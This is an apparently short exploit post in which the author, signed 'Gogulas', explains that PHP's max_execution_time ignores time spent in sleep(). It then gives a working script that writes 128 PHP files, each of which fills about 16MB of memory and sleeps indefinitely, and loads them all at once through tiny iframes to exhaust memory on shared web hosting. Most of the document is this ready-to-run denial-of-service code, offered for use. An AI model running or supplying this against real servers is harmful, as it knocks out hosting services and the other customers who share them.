<?php
sleep(9999999);
echo 'Hello World';
?>
Will print hello world after 9999999 seconds... so max_execution_time simply dosnt work :P Why? we can find in manual:
"max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside 
the execution of the script such as system calls using system(), stream operations, database queries, etc. is not 
included when determining the maximum time that the script has been running." including sleep() :P
We can use this vuln to run out memory on web/php hosting:
<?php
if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/': 
$temp='';
else $temp='temp/';
for($n=0;$n<128;$n++) {
    $rand = mt_rand();
    $fp = fopen("$temp$rand.php", 'w+');
    fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\'; 
sleep(999999999); ?>');// for 16mb memory limit
    fclose($fp);
    echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\" 
height=\"10\"></iframe>";
}
?>

Found && exploited by Gogulas[at]wp.pl/hack.pl